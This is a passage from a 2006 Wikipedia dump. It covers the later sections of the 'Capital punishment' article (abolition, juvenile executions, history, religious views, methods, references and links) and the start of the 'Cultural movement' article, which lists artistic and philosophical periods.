[[Turkey]] has recently, as a move towards EU membership, undergone a reform of its legal system. Previously there was a ''de facto'' moratorium on death penalty in Turkey as the last execution took place in 1984. The death penalty was removed from peacetime law in August 2002, and in May 2004 Turkey amended its constitution in order to remove capital punishment in all circumstances. As a result, Europe is a continent free of the death penalty in practice (all states having ratified the Sixth Protocol to the European Convention on Human Rights), with the sole exception of [[Belarus]], which is not a member of the Council of Europe. The Parliamentary Assembly of the Council of Europe has been lobbying for Council of Europe observer states who practice the death penalty, namely the US and [[Japan]], to abolish it or lose their observer status.

Among non-governmental organisations, [[Amnesty International]] and [[Human Rights Watch]] are noted for their opposition to the death penalty.

===Juvenile capital punishment===
Only six countries practice the death penalty for [[juvenile|juveniles]], that is, criminals aged under 18 years at the time of their crime. In the 1980s and 1990s, most executions for juvenile crime took place in the United States, although, due to the slow process of appeals, no one under age 19 has been executed in recent years.{{ref|juv1}} In 2005, the [[Supreme Court of the United States|US Supreme Court]] ruled in ''[[Roper v. Simmons]]'' that the death penalty cannot be applied to persons who were under age 18 at the time of commission of the crime. That decision resulted in 72 convicted murderers being taken off [[death row]]. In the US and ancestral political bodies since 1642, an estimated 364 juvenile offenders have been executed by states and the federal government.{{ref|juv2}} Although the [[People's Republic of China]] accounts for the vast majority of executions in the world, it does not allow for the executions of those under 18.{{ref|juv3}} Execution of those aged under age 18 has occurred in the [[Democratic Republic of the Congo]], [[Pakistan]], [[Yemen]], [[Saudi Arabia]], [[Nigeria]], and [[Iran]] since 1990. The [[United Nations]] [[Convention on the Rights of the Child]], which among other things forbids capital punishment for juveniles, has been signed and [[ratification|ratified]] by all countries except the USA and [[Somalia]] {{ref|juv4}}. Furthermore some, such as the UN Sub-Commission on the Promotion and Protection of Human Rights, maintain that the death penalty for juveniles has become contrary to [[customary international law]].

===The death penalty in specific countries===
* [[Capital punishment in Belarus]]
* [[Capital punishment in Canada]]
* [[Capital punishment in the People's Republic of China]]
* [[Capital punishment in Denmark]]
* [[Capital punishment in France]]
* [[Capital punishment in Germany]]
* [[Capital punishment in India]]
* [[Capital punishment in New Zealand]]
* [[Capital punishment in Singapore]]
* [[Capital punishment in the United Kingdom]]
* [[Capital punishment in the United States]]
* [[Capital punishment in Japan]]

See also: [[Use of death penalty worldwide]]

== Abolitionary Movements ==
===The ''lex talionis''===
[[Image:Milkau Oberer Teil der Stele mit dem Text von Hammurapis Gesetzescode 369-2.jpg|thumb|150px|[[Hammurabi]] receives his laws from [[Shamash]].]]
The ''[[lex talionis]]'' (also known by the principle &quot;an eye for an eye&quot;) describes criminal law systems in which punishments fit the crime. As applied to the death penalty, application of the ''lex talionis'' restricts the range of crimes to murder. While the ''lex talionis'' may seem severe from a modern perspective, in its origin it was reformist, involving a liberalisation of penalties compared to previous practices. The earliest known application of the ''lex talionis'' for death penalty crimes was in the [[Code of Hammurabi]] (c. 1750 BC). A similar example of the reforming introduction of the ''lex talionis'' is the Athenian [[Solon]]'s  (638 BC – 558 BC) restriction of the death penalty to murder (a reform of the previous laws instituted by [[Draco]]).

=== Sacrifice and entertainment ===
: ''&quot;All of the inhabitants of Gaul are completely devoted to superstitious rites. Indeed, therefore those who are afflicted by unusually severe diseases and those who are engaged in battles and dangers either sacrifice human victims or vow to ask Druids to perform such sacrifices. For they feel that unless one man's life be offered for that of another, the immortal gods cannot be placated...&quot;'' ([[Julius Caesar]], ''[[De Bello Gallico]]'', Book VI)

[[Human sacrifice]] is well documented from the earliest times, but what was the rationale? According to Caesar, for the Celts it was ''&quot;pro vita hominis nisi hominis vita reddatur&quot;'' - roughly, &quot;a life for a life&quot;. If the gods are displeased with you for a wrongdoing, they demand blood payment and may send a disease to perform the execution. However, it is possible to negotiate with the gods and perform a ''substitution'' - somebody else's life will pay the blood debt instead. Similarly, there is a risk when going into battle that one might have some unpaid blood debt with the gods, for which reason the gods might ensure defeat and death. So as a safety precaution it was possible to promise the gods an alternative blood payment - presumably the blood of one's enemies, but again as a substitution for one's own blood. See also: [[Celts and human sacrifice]].

[[Image:Abraham.jpg|thumb|300px|right|&quot;Abraham Sacrificing Isaac&quot; by Laurent de LaHire, 1650]]

In [[Christian theology]] the doctrine of [[substitutionary atonement]] has a similar logic, but extended to a universal scale. The idea of [[substitutionary atonement]] is that humanity (from the dawn of time to the end of time) is sinful and that these [[sins]] or wrongdoings require [[compensation]] or [[atonement]]. The Roman execution of [[Jesus of Nazareth]] is interpreted as a self-sacrifice on behalf of humanity. The key biblical texts indicate the idea of one life for many lives.{{ref|subat}} As regards the substitution, Christian theology draws parallels between the [[crucifixion]] and the story of how [[Abraham]] was permitted to substitute a lamb for his son [[Isaac]] when commanded by God to make a devotional sacrifice (the lamb is understood as symbolizing Christ).{{ref|gen22}} See also: [[atonement]], [[substitutionary atonement]], [[propitiation]], [[sacrifice]].

[[Image:Mendoza_HumanSacrifice.jpg|thumb|150px|left|[[Human sacrifice in Aztec culture|Aztec sacrifice]]]]

Further examples of human sacrifice include the judicial [[hanging]] that was originally a sacrificial rite to [[Odin]]. Scandinavian religions demanded human sacrifices not only by hanging, but also by drowning the convict in a bog (see [[Kalevala]] which contains a chapter where Väinämöinen sentences the fatherless Son of Marjatta to be drowned in a bog; see also [[bog body]], describing the archaeological finds of human sacrifices across Northern Europe). Some societies, such as the [[Aztec]], used mass executions of prisoners of war as a religious rite. The perceived religious or instructive purpose of execution meant that many of the oldest methods of execution were intentionally brutal.

In many cultures the entertainment value of suffering was valued, as seen in [[Roman Empire|Roman]] executions. 

Public executions were the norm until recently, whether atop an [[Aztec]] pyramid or on a [[gallows]] in the town square. 
Public executions still occurred in Europe and the United States in the first half of the 20th century and continue to occur in other countries such as [[Iran]] and [[Saudi Arabia]].
Some feel that public execution can be justified on the grounds that it is important that justice, especially for the most heinous crimes, is ''seen'' to be done. An alternative justification is that the deterrent effect is greater if execution is in public. In practice, public executions have often better served the purposes of entertainment.
The practice in some countries of selecting a small group of witnesses, usually including officials and family members of victims, can be seen as a compromise between a public interest in witnessing justice and the avoidance of a descent into entertainment.

===Movements towards &quot;humane&quot; execution===
[[Image:DrGuillotin.jpg|thumb|100px|left|Dr. Guillotin]]
In early [[New England]], public executions were a very solemn and sorrowful occasion, sometimes attended by large crowds, who also listened to a Gospel message {{ref|cadams1}} and remarks by local preachers {{ref|cadams2}} and politicians. The Connecticut Courant records one such public execution on [[December 1]], [[1803]], saying, &quot;The assembly conducted through the whole in a very orderly and solemn manner, so much so, as to occasion an observing gentleman acquainted with other countries as well as this, to say that such an assembly, so decent and solemn, could not be collected anywhere but in New England.&quot; {{ref|cadams3}}

Trends in most of the world have long been to move to less painful, or more &quot;humane&quot;, executions. France developed the [[guillotine]] for this reason in the final years of the 18th century while Britain banned drawing and quartering in the early 19th century. &quot;[[Hanging]] by the neck until dead&quot;, which causes death by suffocation was replaced by &quot;hanging&quot; where the subject is dropped to dislocate the neck and sever the spinal cord. In the U.S., [[electric chair|electrocution]] and the [[gas chamber]], which were introduced as more humane alternatives to hanging, have been almost entirely superseded by [[lethal injection]], which in turn has been criticised as being too painful. Nevertheless, some countries still employ slow hanging methods, beheading by sword and even [[stoning]], although stoning is rarely employed.

See also:''' [[cruel and unusual punishment]]'''

=== Anti Death Penalty movements===
[[Image:Beccaria.jpg|thumb|left|120px|Marquis of Beccaria]]
Although the death penalty was briefly banned in China between [[747]] and [[759]], modern opposition to the death penalty stems from the book of the [[Italy|Italian]] [[Cesare Beccaria]] ''Dei Delitti e Delle Pene'' (&quot;On Crimes and Punishments&quot;), published in [[1764]]. In this book Beccaria aimed to demonstrate not only the injustice, but even the futility from the point of view of [[social welfare]], of [[torture]] and the death penalty. Influenced by the book, [[Leopold II, Holy Roman Emperor|Grand Duke Leopold II]] of Habsburg, famous [[The Age of Enlightenment|enlightened monarch]] and future Emperor of [[Austria]], abolished the death penalty in the then-independent ''Granducato di Toscana'' ([[Tuscany]]), the first permanent abolition in modern times. On [[30 November]] [[1786]], after having ''de facto'' blocked capital executions (the last was in [[1769]]), Leopold promulgated the Reform of the [[penal code]] that abolished the death penalty and ordered the destruction of all the instruments for capital execution in his land. In [[2000]] Tuscany's regional authorities instituted an annual holiday on [[30 November]] to commemorate the event.

In [[1849]], the [[Roman Republic (19th century)|Roman Republic]] became the first country to ban the capital punishment in its constitutions. [[Portugal]] abolished the death penalty in [[1867]]; the last execution had taken place in [[1846]].

In the United States, the state of [[Michigan]] was the first state to ban the death penalty, on [[March 1]], [[1847]]. The 150-year ban on capital punishment has never been repealed, and as such the state is considered to be the first democracy in recorded history to have eliminated capital punishment. Currently, 12 states of the U.S. and the District of Columbia ban capital punishment.

=== Anti death penalty theme in arts and media ===
[[Image:Francisco de Goya y Lucientes 023.jpg|thumb|right|300px|Executions of the Third of May by [[Goya]]]]

Many artist and writers in modern period advocated abolition of death penalty

[[Victor Hugo]]'s ''[[The Last Day of a Condemned Man]]'' (''Le Dernier Jour d'un condamné'') describes the thoughts of a condemned man just before his execution; also notable is its [http://www.angelfire.com/mn3/mixed_lit/hugo_cm01.htm preface], in which Hugo argues at length against capital punishment.

In ''[[The Chamber]]'' by [[John Grisham]], a young lawyer tries to save his klansman grandfather who committed muders.  The novel is noted for presentation of anti-death penalty materials.

Capital punishment has been the basis of many motion pictures including ''[[Dead Man Walking]]'' based on the book by [[Helen Prejean|Sister Helen Prejean]], ''[[The Green Mile (film)|The Green Mile]]'', and ''[[The Life of David Gale]]''. 

*On the television drama ''[[The West Wing (television)|The West Wing]]'', which is known for its liberal worldview, [[List of The West Wing episodes|episode]] called &quot;Take This Sabbath Day&quot;, [[Josiah Bartlet|President Bartlet]] and his senior staff face the moral and political struggle associated with the death penalty.

{{seealso|List of movies about capital punishment}}

See [[List of protest songs#Capital punishment, death penalty|List of protest songs]] for a list of protest songs about Capital Punishment.


== Debate ==
:''Main article: [[Capital punishment debate]]''

The death penalty is often the subject of controversy. In countries in which it is practised there are often rival campaigns both to have it abolished and to have it retained, while in abolitionist nations some support its reintroduction. Opponents of the death penalty commonly argue that it is an ineffective deterrent, that it may lead to irreversible miscarriages of justice, or that it violates the criminal's [[right to life]]. Supporters of the death penalty state that it does deter crime, saves innocent lives by preventing future murders, and that the death penalty is a moral imperative since allowing murderers to live while the victims cannot, is a great injustice. Some arguments revolve around empirical data, such as whether or not it can be proven statistically that the death penalty reduces crime, while others concern more abstract moral judgements. Most major religions do not take an unambiguous stance on whether or not the death penalty is permissible.

==Religious views==
:''Main article: [[Religion and capital punishment]]''
[[Image:Hanginkuwait.jpg|left|thumb|Execution by hanging in [[Kuwait]]. Doctors examine the bodies to confirm death.]]
The official teachings of [[Judaism]] approve the death penalty in principle but the standard of proof required for application of death penalty is extremely stringent. Christianity in theological terms follows the teaching of [[Thomas Aquinas]] who accepted the death penalty as a necessary deterrent and prevention method but not as the means of vengeance. [[Roman Catholic Church]] holds that the death penalty is no longer necessary if it can be replaced by incarceration. The position of other Christian denominations, at least among (academic) theologians, follow similar reasoning of Thomas Aquinas. In Protestantism, it is common for each followers or ministers to have their own personal position on the death penalty. Both proponent and opponent derive their own stance from the Bible itself.  
Scholars of [[Islam]] hold it to be permissible but the victim or the family of victim has the right to grant pardon. The teachings of other [[religion]]s also tend to discourage death penalty as the means of vengeance but accept it as the means of deterrent and prevention, while the question of the effectiveness of incarceration as a substitute remain outside of the theological question.

==Methods of execution==
{{see also|List of methods of capital punishment}}

Some jurisdictions still practising capital punishment restrict its use to a small number of criminal offences, principally [[murder]], [[treason]] and equated mortal sins such as [[apostasy]].
Historically&amp;mdash;and still today under certain systems of law&amp;mdash;the death penalty was applied to a wider range of offences, including [[robbery]] or [[theft]] and kidnapping. It has also been frequently used by the military for crimes including [[looting]], [[insubordination]], and [[mutiny]]. Armies based on [[conscription]] have used death penalty as means of motivation (see [[coercion]]) and keeping [[discipline]].

[[image:chair.jpg|left|thumb|[[Electric chair]] as used for [[electrocution]]s. The electric chair was developed in the late 1880s by a [[dentist]] with support from [[Thomas Edison]] (who had a financial interest in having [[direct current]] used in providing electricity, whereas the electric chair uses [[alternating current]]) and is still in use today.]]
Even in ancient times, methods of execution were sometimes chosen so that the extent of suffering during execution was related to the perceived seriousness of the crime or the class and status of the criminal. Roman citizens might be allowed to commit suicide while low class persons might be [[crucifixion|crucified]]. 

In [[medieval Europe]], the method of execution often depended on the [[social class]] of the condemned. The nobility were usually [[beheading|beheaded]] in as painless and honourable a method as possible, generally with either sword or an axe (which occasionally failed horribly). Those in the working class, [[serf]]s, peasants, and possibly the [[bourgeoisie]] were usually executed publicly, by a more gruesome and painful method, such as the wheel or being [[hung, drawn and quartered]] . In Scandinavia, the noblemen were beheaded with a sword, and commoners with an axe. Specific crimes sometimes warranted specific methods of execution: suspected [[witchcraft]], religious [[heresy]], [[atheism]], or [[homosexuality]] were typically punished by burning at the stake. Unsuccessful [[regicide]]s generally merited a horrible death. A wide range of offences could be punished by death, including robbery and theft, even if nobody was physically harmed in the action.
[[image:Robert-damiens.jpg|right|thumb|100px|Damiens]]
Such methods of execution continued into the modern era. In [[1757]] in [[France]], [[Robert-François Damiens]] suffered a horrible but customary execution for his attempted [[regicide]] against King [[Louis XV of France|Louis XV]]. His hand, holding the weapon used in the regicide attempt, was burnt, and his body was wounded in several places. Then, molten [[lead]] and other hot liquids were poured on the wounds. He was then drawn and quartered, and what remained of his body was burnt at the stake. Inhumane methods of execution and class inequalities were abolished in France during the [[French Revolution]], which imposed the [[guillotine]], seen as a painless and instantaneous method of execution, for all. However, during The Terror, other forms of execution, such as massed cannon fire and mass drownings, were also used.

==Notes==
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&lt;div style=&quot;font-size: 85%&quot;&gt;
# {{note|survey}} Survey of research findings: Roger Hood, The Death Penalty: A World-wide Perspective, Oxford, Clarendon Press, third edition, 2002, p. 230)
# {{note|head}} [http://www.etymonline.com/index.php?term=capital Etymology of &quot;capital&quot;]
# {{note|feud1}} e.g.: {{cite journal | author=Peter Waldmann | title= Rachegewalt: Zur Renaissance eines für überholt gehaltenen Gewaltmotivs in Albanien und Kolumbien | journal=Zürcher Beiträge zur Sicherheitspolitik und Konfliktforschung | year=1999 | volume=54 | issue= | pages= 141&amp;ndash;160 | url=http://cms.isn.ch/public/docs/doc_828_290_de.pdf }} - article covers general work in the area of blood feuds and then discusses the resurgence of the blood feud in Albania and Columbia; also: {{cite journal | author=Jonas Grutzpalk | title= Blood Feud and Modernity: Max Weber’s and Émile Durkheim’s Theories | journal=Journal of Classical Sociology | year= | volume=2 | issue=2 | pages= 115&amp;ndash;134 | url=http://club.fom.ru/books/grutzpark04_3.pdf }}
# {{note|waldmann}} Translated from Waldmann, ''op.cit.'', p.147.
# {{note|feudok}} Grutzpalk, ''op.cit.'', p.117.
# {{note|feud2}} Examples of detailed studies of particular feud systems are: {{cite journal | author=Monalinda E. Doro | title= Case Studies on Rido: Conflict Resolution among Meranao in Baloi, Lanao del Norte  | journal= | year=2005 | volume= | issue= | pages= &amp;ndash; | url=http://www.asiafoundation.org/pdf/PH_conflict/MAC_Exec_Summary8.pdf }} - ''rido'' is the local term for blood feud; the location named is in the Philippines on the island of Mindanao; also: {{cite journal | author=John Lindow | title= Bloodfeud and Scandinavian Mythology | journal=Alvíssmál | year=1994 | volume=4 | issue= | pages= 51&amp;ndash;68 | url=http://userpage.fu-berlin.de/~alvismal/4feud.pdf}}
# {{note|thing}} Lindow, ''op.cit.'' (primarily discusses Icelandic ''things'').
# {{note|subat}} [[2 Corinthians]] 5:14-15 and [[1 Peter]] 2:24.
# {{note|gen22}} [[Genesis]] 22.
# {{note|1593}} {{cite book | first=Keith | last=Brown | year=1986 | title=Bloodfeud in Scotland 1573–1625: Violence, Justice and Politics in an Early Modern Society | chapter= | editor= | others= | pages= | publisher=Edinburgh: John Donald | id= | url= | authorlink= }}, p.29, quoted in: Lindow, ''op.cit.''
# {{note|kanun}} e.g.: University College London News (2004), [http://www.ucl.ac.uk/news-archive/archive/2004/october-2004/latest/newsitem.shtml?04100102 Research on blood feuds in Albania and Kosovo]; {{News reference  |firstname=Majlinda   |lastname=Mortimer   |pages=  |title=Blood feuds blight Albanian lives   |date=[[23 September]] [[2005]]  |org=BBC News  |url=http://news.bbc.co.uk/2/hi/europe/4273020.stm }}
# {{note|kanun2}} e.g.: UK Home Office, [http://www.ind.homeoffice.gov.uk/ind/en/home/laws___policy/country_information/operation_guidance.Maincontent.0002.file.tmp/Albania%20v5.0%20January%202006.pdf Operational Guidance Note: Albania] ([[12 January]] [[2006]]), esp. pp.4-5: &quot;As a result of blood feuds in 2004, 670 families were self-imprisoned, 650 families accepted legal procedures instead of personal vendettas for resolving the conflict, 54 families were living under protection outside the country and 160 children were prevented from attending school due to fear of revenge, of which 73 were considered to be in serious danger. These figures showed a decrease over 2003 when 1,370 families were reported to be self-imprisoned at home and 711 children prevented from attending school due to fear of revenge.&quot;
# {{note|schabas}} {{cite book | first=William | last=Schabas | year= | title=The Abolition of the Death Penalty in International Law | chapter= | editor= | others= | pages= | publisher=Cambridge University Press | id=ISBN 052181491X| url= | authorlink= }}
# {{note|mich-hist}} [http://teacher.deathpenaltyinfo.msu.edu/c/about/history/history.PDF Michigan State University and Death Penalty Information Center]
# {{note|mich-hist2}} [http://teacher.deathpenaltyinfo.msu.edu/c/about/history/history.PDF Michigan State University and Death Penalty Information Center]
# {{note|cadams1}} [http://calebadams.org/sermon.htm Sermon preached before the execution of Caleb Adams]
# {{note|cadams1}} [http://calebadams.org/address.htm Caleb Adams' life-story as told by a local pastor]
# {{note|cadams1}} [http://calebadams.org/news_article.htm Article from the  ''Connecticut Courant''] ([[December 1]] [[1803]])
# {{note|juv1}} Death Penalty Information Center, [http://www.deathpenaltyinfo.org/article.php?scid=27&amp;did=206 &quot;Recent Developments in the Juvenile Death Penalty&quot;].
# {{note|juv2}} Rob Gallagher, [http://users.bestweb.net/~rg/execution/JUVENILE.htm Table of juvenile executions in British America/United States, 1642-1959].
# {{note|juv3}} Death Penalty Information Center, [http://www.deathpenaltyinfo.org/article.php?scid=27&amp;did=206 &quot;Recent Developments in the Juvenile Death Penalty&quot;]; Death Penalty Information Center, [http://www.deathpenaltyinfo.org/article.php?scid=45&amp;did=536 &quot;International Perspectives on the Death Penalty&quot;], citing &quot;As China Signs Rights Treaty, It Holds Activist&quot;, ''New York Times'' ([[October 6]] [[1998]]).
# {{note|juv4}} UNICEF, [http://www.unicef.org/crc/index_30229.html Convention of the Rights of the Child - FAQ]: &quot;The Convention on the Rights of the Child is the most widely and rapidly ratified human rights treaty in history. Only two countries, Somalia and the United States, have not ratified this celebrated agreement. Somalia is currently unable to proceed to ratification as it has no recognized government. By signing the Convention, the United States has signalled its intention to ratify—but has yet to do so.&quot;
# {{note|poll1}} Angus Reid Consultants, [http://www.angus-reid.com/polls/index.cfm/fuseaction/viewItem/itemID/9305 &quot;Italians Opposed to Death Penalty&quot;] (Opinion poll published in October 2005)
# {{note|poll2}} Death Penalty Information Center, [http://www.deathpenaltyinfo.org/article.php?did=209&amp;scid=23 &quot;Public Opinion About the Death Penalty&quot;]
# {{note|poll3}} Death Penalty Information Center, [http://www.deathpenaltyinfo.org/article.php?scid=23&amp;did=1029 &quot;GALLUP POLL: Public Divided Between Death Penalty and Life Imprisonment Without Parole&quot;] (June 2004)
# {{note|poll4}} Death Penalty Information Center, [http://www.deathpenaltyinfo.org/article.php?did=209&amp;scid=23#alt &quot;Public Opinion About the Death Penalty&quot;] 
# {{note|poll5}} Harris Poll, [http://www.harrisinteractive.com/harris_poll/index.asp?PID=431 &quot;More Than Two-Thirds of Americans Continue to Support the Death Penalty&quot;] (January 2004)

&lt;/div&gt;

==External links==
* [http://encarta.msn.com/media_461543496/Capital_Punishment_Worldwide.html Country by country list of legal position of Death Penalty from Encarta]
*[http://usliberals.about.com/od/deathpenalty/i/DeathPenalty.htm About.com's Pros &amp; Cons of the Death Penalty and Capital Punishment]
* [http://www.clarkprosecutor.org/html/links/dplinks.htm 1000+ Death Penalty links all in one place]

===Resources opposing capital punishment===
* [http://www.deathpenaltyinfo.org/ The Death Penalty Information Center]: Statistical information and studies
* [http://www.texasmoratorium.org/ Texas Moratorium Network]: Advocacy group seeking a moratorium on executions in Texas
* [http://www.amnesty.org/deathpenalty Amnesty International]: Human Rights organisation
* [http://europa.eu.int/comm/external_relations/human_rights/adp/ European Union] - Information on anti-death penalty policies
* [http://www.pfadp.org People of Faith Against the Death Penalty]: Southern US-based advocacy group
* [http://www.reprieve.org/ Reprieve.org]: United States based volunteer program for foreign lawyers, students, and others to work at death penalty defense offices
* [http://people.freenet.de/dpinfo/quotes.htm Death Penalty Quotes]: Offers thoughts grouped by profession
* [http://www.usccb.org/sdwp/national/deathpenalty/ United States Conference of Catholic Bishops]: details the Catholic Campaign to End the Use of the Death Penalty
* [http://www.cuadp.org/michhist.pdf/ Michigan's Capital Punishment History]
* [http://www.nodeathpenalty.org/ Campaign to End the Death Penalty]
* [http://www.aclu.org/DeathPenalty/DeathPenaltyMain.cfm American Civil Liberties Union]: Demanding a Moratorium on the Death Penalty
* [http://asiadeathpenalty.blogspot.com/ Asia Death Penalty blog]: information about the death penalty across Asia
* [http://www.cuadp.org/ Citizens United for Alternatives to the Death Penalty]: information, education and creative, direct action protest to end the death penalty

===Resources favoring capital punishment===
* [http://www.prodeathpenalty.com/ Pro Death Penalty.com]
* [http://www.wesleylowe.com/cp.html Pro Death Penalty Resource Page]
* [http://www.clarkprosecutor.org/html/death/death.htm Clark County, Indiana, Prosecutor's Page on capital punishment]
* [http://calebadams.org/ Execution of Caleb Adams]:  Caleb Adams was publicly executed in Windham, Connecticut, USA, on [[November 29]], [[1803]] for the brutal murder of six-year-old Oliver Woodworth.

===Religious views on the death penalty===
*[http://www.deathpenaltyreligious.org/education/perspectives/dalailama.html The Dalai Lama] - Message Supporting the Moratorium on the Death Penalty
* [http://www.engaged-zen.org/articles/Damien_P_Horigan-Buddhism_Capital_Punishment.html Buddhism &amp; Capital Punishment] from The Engaged Zen Society 
* [http://www.ou.org/torah/savannah/5760/behaalotcha60.htm Orthodox Union website: Rabbi Yosef Edelstein: Parshat Beha'alotcha: A Few Reflections on Capital Punishment]
* [http://www.jewishjournal.com/old/deathpenalty2.3.10.0.htm Jews and the Death Penalty - by Naomi Pfefferman (Jewish Journal)]
* [http://priestsforlife.org/deathpenalty/index.htm Priests for Life] - Lists several Catholic links


[[Category:Capital punishment]]
[[Category:Ethics]]
[[Category:Criminal law]]


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[[bg:Смъртно наказание]]
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  </page>
  <page>
    <title>Cultural movement</title>
    <id>5903</id>
    <revision>
      <id>41572349</id>
      <timestamp>2006-02-28T05:48:51Z</timestamp>
      <contributor>
        <username>Tyrenius</username>
        <id>393711</id>
      </contributor>
      <comment>/* Cultural movements */ See Postmodern art</comment>
      <text xml:space="preserve">A '''cultural movement''' is a change in the way a number of different disciplines approach their work. This embodies all [[art]] forms, the [[science]]s, and [[philosophies]]. Long ago, different nations or regions of the world would go through their own independent sequence of movements in culture, but as world communications have accelerated this geographical distinction has become less noteworthy. When cultural movements go through revolutions from one to the next, genres tend to get attacked and mixed up, and often new genres are generated and old ones fade. These changes are often reactions against the prior cultural form, which typically has grown stale and repetitive. An obsession emerges among the mainstream with the new movement, and the old one falls into neglect - sometimes it dies out entirely, but often it chugs along favored in a few disciplines and occasionally making reappearances (sometimes prefixed with &quot;neo-&quot;).

There is continual argument over the precise definition of each of these periods, and one historian might group them differently, or choose different names or descriptions. As well, even though in many cases the popular change from one to the next can be swift and sudden, the beginning and end of movements are somewhat subjective, as the movements did not spring fresh into existence out of the blue and did not come to an abrupt end and lose total support, as would be suggested by a date range. Thus use of the term &quot;period&quot; is somewhat deceptive. &quot;Period&quot; also suggests a linearity of development, whereas it has not been uncommon for two or more distinctive cultural approaches to be active at the same time. Historians will be able to find distinctive traces of a cultural movement before its accepted beginning, and there will always be new creations in old forms. So it can be more useful to think in terms of broad &quot;movements&quot; that have rough beginnings and endings. Yet for historical perspective, some rough date ranges will be provided for each to indicate the &quot;height&quot; or accepted timespan of the movement. 

&lt;!-- NOTE: I'm including the sub-sections (the isms) *only* for organizational purposes since in most cases Wikipedia does not have articles on the various sections/periods/movements/whatever. Similarly for calling out the different cultural forms - art, architecture, philosophy, etc. I also think it is worthwhile to include short descriptions of each movement for similar reasons. The purpose of this page is to help get these areas of Wikipedia filled in - hopefully by folks more knowledgeable in the particular topics than I! --&gt;
==Cultural movements==

* [[Graeco-Roman]]
** The [[ancient Greece|Greek]] culture marked a departure from the other Mediterranean cultures that preceded and surrounded it. The [[ancient Rome|Romans]] adopted Greek and other styles, and spread the result throughout Europe and the middle east. Together, Greek and Roman thought in philosophy, religion, science, history, and all forms of thought can be viewed as a central underpinning of Western culture, and is therefore termed the &quot;Classical period&quot; by some. Others might divide it into the [[Hellenistic]] period and the Roman period, or might choose other finer divisions.
:: See: [[Classical architecture]] &amp;mdash; [[Classical sculpture]] &amp;mdash; [[Architecture of Ancient Greece|Greek architecture]] &amp;mdash; [[Hellenistic architecture]] &amp;mdash; [[Ionic order|Ionic]] &amp;mdash; [[Doric order|Doric]] &amp;mdash; [[Corinthian order|Corinthian]] &amp;mdash; [[Stoicism]] &amp;mdash; [[Cynicism]] &amp;mdash; [[Epicurean]] &amp;mdash; [[Roman architecture]] &amp;mdash; [[Early Christian]] &amp;mdash; [[Neoplatonism]]

* [[Romanesque]] (11th &amp; 12th centuries)==
** A style (esp. architectural) similar in form and materials to Roman styles. Romanesque seems to be the first pan-European style since Roman Imperial Architecture and examples are found in every part of the continent.
:: See: [[Romanesque architecture]] &amp;mdash; [[Ottonian Art]]

* [[Gothic art|Gothic]]
: &lt;!-- description goes here --&gt;
:: See: [[Gothic architecture]] &amp;mdash; [[Gregorian chant]] &amp;mdash; [[Neoplatonism]]

* [[Nominalism]]
&lt;!--Can someone well versed in medieval history help figure out how/where this fits in? --&gt;
** Rejects Platonic realism as a requirement for thinking and speaking in general terms.

* [[Humanism]] (1500s)
&lt;!-- description goes here --&gt;
* [[Renaissance]]
** The use of light, shadow, and perspective to more accurately represent life. Because of how fundamentally these ideas were felt to alter so much of life, some have referred to it as the &quot;Golden Age&quot;. In reality it was less an &quot;Age&quot; and more of a movement in popular philosophy, science, and thought that spread over Europe (and probably other parts of the world), over time, and affected different aspects of culture at different points in time. Very roughly, the following periods can be taken as indicative of place/time foci of the Renaissance: [[Italian Renaissance]] 1450-1550. [[Spanish Renaissance]] 1550-1587. [[English Renaissance]] 1588-1629.

* [[Mannerism]]
** Anti-classicist movement that sought to emphasize the feeling of the artist himself. 
** See: [[Mannerism/Art]]

* [[Baroque]]
** Emphasizes power and authority, characterized by intricate detail and without the &quot;disturbing angst&quot; of Mannerism. Essentially is exaggerated Classicism to promote and glorify the Church and State. Occupied with notions of infinity.
** See: [[Baroque|Baroque art]] &amp;mdash; [[Baroque music]]

* [[Rococo]]

* [[Neoclassicism|Neoclassical]] (17th&amp;ndash;19th centuries)
** Severe, unemotional movement recalling Roman and Greek (&quot;classical&quot;) style, reacting against the overbred Rococo style and the emotional Baroque style. It stimulated revival of classical thinking, and had especially profound effects on science and politics. Also had a direct influence on Academic Art in the [[1800s]]. Beginning in the early [[1600s]] with Cartesian thought (see [[René Descartes]]), this movement provided philosophical frameworks for the natural sciences, sought to determine the principles of knowledge by rejecting all things previously believed to be known about the world. In [[Renaissance Classicism]] attempts are made to recreate the classic artforms - tragedy, comedy, and farce.
** Also: '''Cartesian''' &amp;mdash; [[French neoclassicism]] 1630-1680. 

* [[Romanticism]] (1770&amp;ndash;1830)
** Began in Germany and spread to England and France as a reaction to Neoclassicism. The notion of &quot;folk genius&quot;, or an inborn and intuitive ability to do magnificent things, is a core principle of the Romantic movement. Nostalgia for the primitive past in preference to the scientifically minded present. Romantic heroes, exemplified by Napoleon, are popular. Fascination with the past leads to a resurrection of interest in the Gothic period. It did not really replace the Neoclassical movement so much as provide a counterbalance; many artists sought to join both styles in their works.
** See: [[Symbolism]]

* [[Realism (arts)|Realism]] (1830&amp;ndash;1905)
** Ushered in by the [[Industrial Revolution]] and growing [[Nationalism]] in the world. Began in France. Attempts to portray the speech and mannerisms of everyday people in everyday life. Tends to focus on middle class social and domestic problems. Plays by [[Ibsen]] are an example. [[Naturalism (literature)|Naturalism]] evolved from Realism, following it briefly in art and more enduringly in theater, film, and literature. [[Impressionism]], based on 'scientific' knowledge and discoveries concerns observing nature and reality objectively.
** See: [[Fauvism]] &amp;mdash; [[Post-impressionism]] &amp;mdash; [[Pre-Raphaelite]]

* [[Art Nouveau]] (1880&amp;ndash;1905)
** Decorative, symbolic art
** See: [[Transcendentalism]]

* [[Modernism]] (1880&amp;ndash;1965)
** Also known as the [[Avant-garde]] movement. Originating in the 19th century with [[Symbolism]], the Modernist movement composed itself of a wide range of 'isms' that ran in constrast to Realism and that sought out the underlying fundamentals of art and philosophy. The Jazz age and Hollywood emerge and have their hey-days.
** See: [[Cubism]] &amp;mdash; [[Futurism (art)|Futurism]] &amp;mdash; [[Suprematism]] &amp;mdash; [[Dada]] &amp;mdash; [[Constructivist epistemology|Constructivism]] &amp;mdash; [[Surrealism]] &amp;mdash; [[Expressionism]] &amp;mdash; [[Existentialism]] &amp;mdash; [[Op Art]] &amp;mdash; [[Art Deco]] &amp;mdash; [[Bauhaus]] &amp;mdash; [[Neo-Plasticism]] &amp;mdash; [[Precisionism]] &amp;mdash; [[Abstract expressionism]] &amp;mdash; [[Pop Art]] &amp;mdash; [[Photorealism]] &amp;mdash; [[Minimalism]] &amp;mdash; [[Situationism]]

* [[Postmodernism]] (since 1965)
